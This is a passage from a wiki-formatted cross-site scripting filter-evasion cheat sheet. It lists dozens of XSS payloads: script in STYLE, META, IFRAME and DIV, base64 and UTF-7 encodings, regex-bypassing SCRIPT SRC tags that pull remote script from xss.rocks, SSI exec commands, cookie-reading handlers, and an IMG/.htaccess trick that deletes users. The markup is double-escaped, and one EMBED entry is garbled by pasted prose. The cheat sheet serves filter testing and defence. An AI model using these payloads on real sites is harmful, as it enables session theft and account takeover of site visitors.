 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http:&amp;amp;#47;&amp;amp;#47;&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://xss.rocks/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;amp;lt;IMG SRC=&amp;quot;httx://badguy.com/a.jpg&amp;quot;&amp;amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittedly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP verses hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatenate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
